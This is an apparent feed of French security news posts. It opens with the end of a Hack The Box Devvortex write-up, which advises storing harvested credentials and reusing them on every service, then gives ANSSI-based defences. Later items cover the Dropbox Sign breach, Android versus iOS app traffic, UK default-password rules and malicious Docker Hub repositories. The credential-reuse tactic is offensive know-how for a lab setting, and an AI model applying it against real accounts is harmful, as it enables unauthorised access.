La collecte et la récupération d'identifiants est également une opération qui doit être réalisée avec minutie. Je vous recommande pendant vos challenges et prestations de scrupuleusement stocker les identifiants récupérés. Également, il est important de réutiliser ces identifiants sur tous les services croisés. La réutilisation des mots de passe entre différents services est quasiment la norme (malheureusement) en entreprise, sans compter les services de SSO qui sont faits pour n'avoir qu'un mot de passe à retenir. Cela peut sembler simple, mais la collecte d'identifiants étant réalisée tout au long de l'attaque, il est facile d'oublier de réutiliser ceux-ci sur tous les services disponibles.

Enfin, connaitre les bonnes ressources est primordiale. Vu le nombre d'informations stockées sur https://gtfobins.github.io/, vous constaterez vite qu'il est impossible de tout retenir et encore moins de se maintenir à jour. Plutôt que de retenir 1 000 informations, il est parfois plus efficace se rappeler les sources où les trouver.

B. Côté défenseur

Pour sécuriser ce système, nous pouvons proposer plusieurs recommandations :

Recommandation n°1 : nous pouvons recommander l'application stricte de la directive n°34 du Guide d'hygiène de l'ANSSI : Définir une politique de mise à jour des composants du système d’information. Les applicatifs et systèmes exposés sur le réseau ou sur Internet sont d'autant plus concernés par ce besoin de mise à jour rapide puisqu'ils peuvent être exploités par les attaquants dès la parution d'un code d'exploitation.

Recommandation n°2 : il doit également être recommandé d'utiliser un autre serveur web que le serveur web de production, exposé à internet, pour héberger le site web en développement. Les services en développement sont souvent moins bien protégés et sécurisés que les services en production (la sécurité est souvent le dernier wagon à être rattaché à un projet). Ces environnements en développement sont dans la réalité des cibles très recherchées par les attaquants et ne doivent donc pas être exposés à Internet et être strictement cloisonnés des services et réseau de production.

Recommandation n°3 : Il peut également être recommandé la mise en place d'une politique de mot de passe plus robuste. Pouvoir casser un hash, généré par algorithme de calcul robuste comme bcrypt, en quelques secondes via la wordlist la plus commune est un signal fort que les mots de passe utilisateur ne sont pas suffisamment contraints dans leur complexité. Cela va dans le sens de la directive n°10 du Guide d'hygiène de l'ANSSI : Définir et vérifier des règles de choix et de dimensionnement des mots de passe. Le guide Recommandations relatives à l'authentification multifacteur et aux mots de passe, de l'ANSSI, plus spécifique et complet sur ce sujet, peut également être une ressource à conseiller.

V. Conclusion

J’espère que cet article vous a plu ! N'hésitez pas à donner votre avis dans les commentaires ou sur notre Discord :).

Enfin, si vous voulez accéder à des cours et des modules dédiés aux techniques offensives ou défensives et améliorer vos compétences en cybersécurité, je vous oriente vers Hack The Box Academy, utilisez ce lien d'inscription (je gagnerai quelques points ) : Tester Hack the Box Academy

The post Hack The Box – Résoudre la box Devvortex : outils, méthodes et recommandations pour se protéger first appeared on IT-Connect.

Vous utilisez Dropbox ? Mauvaise nouvelle : un pirate informatique est parvenu à s'introduire sur le système de Dropbox Sign et il a volé des informations correspondantes aux clients de l'entreprise américaine. Faisons le point.

Dropbox est mondialement connue pour son service de stockage et de partage de fichiers en ligne similaire à OneDrive, Google Drive, etc... Pourtant, ce n'est pas le seul service proposé puisqu'il y en a d'autres, notamment Dropbox Sign. Anciennement appelé HelloSign, il s'agit d'un service en ligne de signature électronique. C'est ce service qui est impacté par l'incident de sécurité.

En effet, le 24 avril 2024, Dropbox a détecté un accès non autorisé à l'environnement de production de son service Dropbox Sign. Un pirate est parvenu à mettre la main sur des identifiants valides ! Grâce à ce compte compromis, Dropbox précise que le pirate a pu accéder à la base de données clients.

Cet incident de sécurité affecte uniquement Dropbox Sign : "D'un point de vue technique, l'infrastructure de Dropbox Sign est largement distincte des autres services Dropbox.", peut-on lire sur le site de Dropbox.

Que contient cette base de données ?

Cette base de données contient des informations sensibles au sujet des utilisateurs, dont le nom d'utilisateur, l'adresse e-mail, le numéro de téléphone, ainsi que le mot de passe du compte. Le précieux sésame n'est pas accessible directement en clair, car une fonction de hachage cryptographique est utilisée avant de stocker l'information.

Ce n'est pas tout ! Le cybercriminel a pu également accéder aux réglages du compte, aux données liées à l'authentification multifacteurs, aux clés d'API et aux jetons oAuth. Des informations précieuses pour faire le pont avec d'autres applications et services.

Cette fuite de données concerne aussi les utilisateurs invités, qui n'ont pas forcément un compte Dropbox Sign : "Pour ceux qui ont reçu ou signé un document via Dropbox Sign, mais qui n'ont jamais créé de compte, les adresses électroniques et les noms ont également été exposés.", peut-on lire sur le site de Dropbox.

Comment se protéger ?

Si vous utilisez Dropbox Sign, vous devez changer votre mot de passe dès que possible et effectuer une nouvelle configuration de l'application MFA pour utiliser une nouvelle clé de génération des codes TOTP. Si vous utilisez ce mot de passe sur d'autres sites, nous vous recommandons de le renouveler également.

De son côté, Dropbox a déjà pris des mesures pour protéger les comptes de ses utilisateurs : "En réponse, notre équipe de sécurité a réinitialisé les mots de passe des utilisateurs, déconnecté les utilisateurs de tous les appareils qu'ils avaient connectés à Dropbox Sign, et coordonne la rotation de toutes les clés API et des jetons OAuth."

Enfin, comme toujours, soyez vigilant, car ces informations pourraient être utilisées pour mettre en place une campagne de phishing ciblée.

Source

The post Piratage de Dropbox Sign : e-mails, mots de passe, clés d’API, etc… volés par le pirate ! first appeared on IT-Connect.

Aujourd’hui, on va causer d’un sujet qui tient à cœur de tout le monde : la sécurité et la confidentialité de nos smartphones ! Ernestas Naprys, un journaliste de Cybernews, s’est amusé à comparer les systèmes Android et iOS pour voir lequel était le plus sûr et le résultat ne manque pas de piquant !

Avant de rentrer dans le vif du sujet, petit rappel quand même : nos téléphones ne font pas que nous tenir compagnie la nuit dans le lit… non, non.. ils en profitent aussi pour fureter à gauche et à droite, accédant à nos données et discutant avec des serveurs du monde entier, parfois même jusqu’en Russie !

Bref, notre Sherlock a installé le top 100 des applis iOS et Android sur des téléphones remis à zéro, les a lancé et laissé comater tranquillos pendant 5 jours.

L’objectif ? Tracer chaque petite connexion sortante pour voir à qui elle cause en douce.

Résultat des courses : L’iPhone se révèle être un sacré bavard, engrangeant 3308 requêtes par jour en moyenne, contre 2323 pour son rival Android. Mais attention, le diable se cache dans les détails ! Si iOS papote plus, il le fait principalement avec ses potes de chez Apple (60% du trafic quand même). Android, lui, est beaucoup plus partageur et distribue ses requêtes à tout va, surtout via des applis tierces.

Autre fait marquant, quand il s’agit de taper la discute avec des serveurs situés en Russie ou en Chine, Android est un vrai moulin à paroles ! Là où l’iPhone n’envoie qu’un petit coucou quotidien en terre de Poutine, le robot vert se fend d’un joyeux « Priviet ! » pas moins de 39 fois en 3 jours. Et côté Chine, c’est la même : Android ça y va tranquille tandis qu’iOS lui fait l’impasse complète et n’envoie rien vers l’Empire du Milieu.

Côté applis douteuses niveau confidentialité, là encore, c’est pas la même sauce ! Facebook ? 200 requêtes par jour sur Android, seulement 20 sur iOS. TikTok ? 800 check quotidiens pour le Android, 36 en tout sur 5 jours pour la pomme.

Alors, comment expliquer cet écart de comportement entre les deux systèmes ?

Notre expert avance 2 hypothèses :

Tout d’abord un App Store mieux tenu, avec moins d’applis potentiellement malveillantes ou intrusives, mais également une politique bien plus stricte d’Apple envers les développeurs qui voudraient mettre leur nez dans nos petites affaires.

Bon mais qu’est-ce qu’on fait nous du coup ?

Et bah comme d’hab’, le mieux c’est d’avoir le moins d’applis possibles, et de privilégier celles qui ont pignon sur rue. Évitez de synchroniser tous vos comptes et toutes vos données dans tous les sens, et pensez à faire un petit coup de ménage de temps en temps dans vos applis. Moins y a de bordel, mieux c’est.

Autre chose : privilégiez le bon vieux navigateur web plutôt que les mini-browsers intégrés dans les applis, qui sont de vraies passoires. Voici un petit tuto pour voir par vous-même à qui causent vos applis :

1. Allez sur le site https://InAppBrowser.com depuis votre navigateur web.
2. Copiez le lien et collez-le dans une de vos applis qui utilise un navigateur intégré (comme Whatsapp, Instagram, Facebook, etc).
3. Ouvrez ce lien depuis l’appli sélectionnée.
4. Vous devriez voir s’afficher la liste des commandes JavaScript injectées par l’appli sur la page web ! 😱

Bon courage !

Ce 2 mai est la journée mondiale du mot de passe. Au Royaume-Uni, une loi interdit désormais de mettre des mots de passe par défaut trop faibles dans les objets connectés, comme « admin / password ». Un exemple à suivre.

Ce 2 mai est la journée mondiale du mot de passe. Au Royaume-Uni, une loi interdit désormais de mettre des mots de passe par défaut trop faibles dans les objets connectés, comme « admin / password ». Un exemple à suivre.

Une équipe de chercheurs en sécurité a analysé trois campagnes malveillantes s'appuyant sur des dépôts Docker Hub. D'après eux, environ 2,81 millions de dépôts sont utilisés à des fins malveillantes. Faisons le point sur cette menace.

D'après les chercheurs en sécurité de chez JFrog, environ 20 % des dépôts hébergés sur la plateforme Docker Hub contiennent du contenu malveillant, y compris des malwares. Ils ont découvert 4,6 millions de dépôts sans aucune image Docker, et donc inutilisables à partir de Docker et Kubernetes. Parmi ces dépôts, 2,81 millions ont été associés à trois campagnes malveillantes importantes lancées en mars 2021. Mais alors, quelles sont les données stockées dans ces dépôts sur Docker Hub ?

Docker Hub comme point de départ pour piéger les utilisateurs

Les cybercriminels utilisent les dépôts pour appâter les utilisateurs, en s'appuyant sur différentes techniques, dont le phishing. Par exemple, la technique baptisée "eBook Phishing" consiste à utiliser un dépôt Docker Hub pour inviter l'utilisateur à télécharger un eBook, au format PDF ou EPUB. Sauf qu'il est redirigé vers un site malveillant dont l'objectif est de collecter des numéros de cartes bancaires.

Nous pouvons citer également la technique "Downloader" où le dépôt Docker Hub est utilisé pour promouvoir des logiciels piratés ou des logiciels de triche pour les jeux-vidéos. Les cybercriminels utilisent des textes générés automatiquement et joue sur la description pour optimiser le référencement de la page. Là encore, la victime est redirigée vers un site malveillant grâce à un lien intégré à la page du dépôt. Ici, l'objectif est de déployer un malware sur la machine de la victime.

Pour rendre légitime leur lien et essayer de tromper l'utilisateur, les pirates usurpent l'identité de services de réducteurs d'URL. Par exemple, le domaine "blltly[.]com" vise à usurper l'identité du service légitime "bitly.com".

Voici un exemple :

Le graphique ci-dessous proposé par JFrog montre que le Docker Hub est activement utilisé pour des activités malveillantes. Certaines actions sont automatisées, ce qui explique le nombre conséquent de dépôts.

L'équipe de Docker a fait le ménage

La bonne nouvelle, c'est que l'équipe de modération du Docker Hub a supprimé l'ensemble des dépôts malveillants suite à l'analyse effectuée par les chercheurs de JFrog. Néanmoins, il convient de rester méfiant, car il y en a surement d'autres, et d'autres seront probablement créés par la suite.

Même si le Docker Hub est une source officielle pour le téléchargement des images Docker, c'est avant tout un espace communautaire sur lequel nous pouvons retrouver "tout et n'importe quoi". Ce n'est pas un cas isolé, puisque certains pirates exploitent la plateforme PyPI dans le cadre de leurs activités malveillantes.

Source

The post Des millions de dépôts Docker Hub utilisés pour distribuer du contenu malveillant ! first appeared on IT-Connect.